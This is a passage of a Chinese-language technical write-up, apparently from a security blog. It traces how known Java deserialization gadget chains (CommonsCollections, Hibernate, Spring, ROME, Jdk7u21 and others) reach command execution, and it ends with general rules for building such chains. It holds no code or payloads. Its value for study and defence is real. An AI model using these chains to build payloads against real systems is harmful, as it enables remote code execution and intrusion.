数组元素组成不同外,与CommonsCollections1基本一致
CommonsCollections4
- 命令执行载体:
org.apache.commons.collections.functors.ChainedTransformer
- 反序列化载体:
PriorityQueue
PriorityQueue.readObject()
执行排序时,TransformingComparator.compare()
会调用ChainedTransformer.transform()
转换元素,进而遍历执行Transformer
数组中的每个元素,最终导致命令执行
CommonsCollections5
- 命令执行载体:
org.apache.commons.collections.functors.ChainedTransformer
- 反序列化载体:
BadAttributeValueExpException
BadAttributeValueExpException.readObject()
当System.getSecurityManager()
为null
时,会调用TiedMapEntry.toString()
,它在getValue()
时会通过LazyMap.get()
取值,最终导致命令执行
CommonsCollections6
- 命令执行载体:
org.apache.commons.collections.functors.ChainedTransformer
- 反序列化载体:
HashSet
HashSet.readObject()
反序列化各元素后,会调用HashMap.put()
将结果放进去,而它通过TiedMapEntry.hashCode()
计算hash时,会调用getValue()
触发LazyMap.get()
导致命令执行
Groovy1
- 命令执行载体:
org.codehaus.groovy.runtime.MethodClosure
- 反序列化载体:
AnnotationInvocationHandler
AnnotationInvocationHandler.readObject()
在通过memberValues.entrySet()
获取Entry
集合,该memberValues
被代理给ConvertedClosure
拦截entrySet
方法,根据MethodClosure
的构造最终会由ProcessGroovyMethods.execute()
执行系统命令
Hibernate1
- 命令执行载体:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化载体:
HashMap
HashMap.readObject()
通过TypedValue.hashCode()
计算hash时,ComponentType.getPropertyValue()
会调用PojoComponentTuplizer.getPropertyValue()
获取到TemplatesImpl.getOutputProperties
方法并调用导致命令执行
Hibernate2
- 命令执行载体:
com.sun.rowset.JdbcRowSetImpl
- 反序列化载体:
HashMap
- 执行过程与Hibernate1一致,但Hibernate2并不是传入
TemplatesImpl
执行系统命令,而是利用JdbcRowSetImpl.getDatabaseMetaData()
调用connect()
连接到远程RMI
JBossInterceptors1
- 命令执行载体:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化载体:
org.jboss.interceptor.proxy.InterceptorMethodHandler
InterceptorMethodHandler.readObject()
在executeInterception()
时,会根据SimpleInterceptorMetadata
拿到TemplatesImpl
放进ArrayList
中,并传入SimpleInterceptionChain
进行初始化,它在调用invokeNextInterceptor()
时会导致命令执行
JSON1
- 命令执行载体:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化载体:
HashMap
HashMap.readObject()
将各元素放进HashMap
时,会调用TabularDataSupport.equals()
进行比较,它的JSONObject.containsValue()
获取对象后在PropertyUtils.getProperty()
内动态调用getOutputProperties
方法,它被代理给CompositeInvocationHandlerImpl
,其中转交给JdkDynamicAopProxy.invoke()
,在AopUtils.invokeJoinpointUsingReflection()
时会传入从AdvisedSupport.target
字段中取出来的TemplatesImpl
,最终导致命令执行
JavassistWeld1
- 命令执行载体:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化载体:
org.jboss.weld.interceptor.proxy.InterceptorMethodHandler
- 除JBoss部分包名存在差异外,与JBossInterceptors1基本一致
Jdk7u21
- 命令执行载体:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化载体:
LinkedHashSet
LinkedHashSet.readObject()
将各元素放进HashMap
时,第二个元素会调用equals()
与第一个元素进行比较,它被代理给AnnotationInvocationHandler
进入equalsImpl()
,在getMemberMethods()
遍历TemplatesImpl
的方法遇到getOutputProperties
进行调用时,导致命令执行
MozillaRhino1
- 命令执行载体:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化载体:
BadAttributeValueExpException
BadAttributeValueExpException.readObject()
调用NativeError.toString()
时,会在ScriptableObject.getProperty()
中进入getImpl()
,ScriptableObject$Slot
根据name
获取到封装了Context.enter
方法的MemberBox
,并通过它的invoke()
完成调用,而之后根据message
调用TemplatesImpl.newTransformer()
则会导致命令执行
Myfaces1
- 命令执行载体:
org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression
- 反序列化载体:
HashMap
HashMap.readObject()
通过ValueExpressionMethodExpression.hashCode()
计算hash时,会由getMethodExpression()
调用ValueExpression.getValue()
,最终导致EL表达式执行
Myfaces2
- 命令执行载体:
org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression
- 反序列化载体:
HashMap
- 执行过程与Myfaces1一致,但Myfaces2的EL表达式并不是由使用者传入的,而是预制了一串加载远程恶意对象的表达式
ROME
- 命令执行载体:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化载体:
HashMap
HashMap.readObject()
通过ObjectBean.hashCode()
计算hash时,会在ToStringBean.toString()
阶段遍历TemplatesImpl
所有字段的Setter和Getter并调用,当调用到getOutputProperties()
时将导致命令执行
Spring1
- 命令执行载体:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化载体:
org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
在调用TypeProvider.getType()
时被代理给AnnotationInvocationHandler
得到另一个Handler为AutowireUtils$ObjectFactoryDelegatingInvocationHandler
的代理,之后传给ReflectionUtils.invokeMethod()
动态调用newTransformer
方法时被第二个代理拦截,它的objectFactory
字段是第三个代理,因此objectFactory.getObject()
会获得TemplatesImpl
,最终导致命令执行
Spring2
- 命令执行载体:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化载体:
org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
在动态调用newTransformer
方法时,被第二个代理拦截交给JdkDynamicAopProxy
,它在AopUtils.invokeJoinpointUsingReflection()
时会传入从AdvisedSupport.targetSource
字段中取出来的TemplatesImpl
,最终导致命令执行
小结
根据上面这些内容,我们可以得到几条简单的POP构造法则:
当依赖中不存在可以执行命令的方法时,可以选择使用
TemplatesImpl
作为命令执行载体,并想办法去触发它的newTransformer
或getOutputProperties
方法。可以作为入口的通用反序列化载体是
HashMap
、AnnotationInvocationHandler
、BadAttributeValueExpException
和PriorityQueue
,它们都是依赖较少的JDK底层对象,区别如下:HashMap
,可以主动触发元素的hashCode
和equals
方法AnnotationInvocationHandler
,可以主动触发memberValues
字段的setValue
方法,本身也可以作为动态代理的Handler拦截如Map.entrySet
等方法进入自己的invoke
方法BadAttributeValueExpException
,可以主动触发val
字段的toString
方法PriorityQueue
,可以主动触发comparator
字段的compare
方法
自动化
source
|
sink
命令执行: |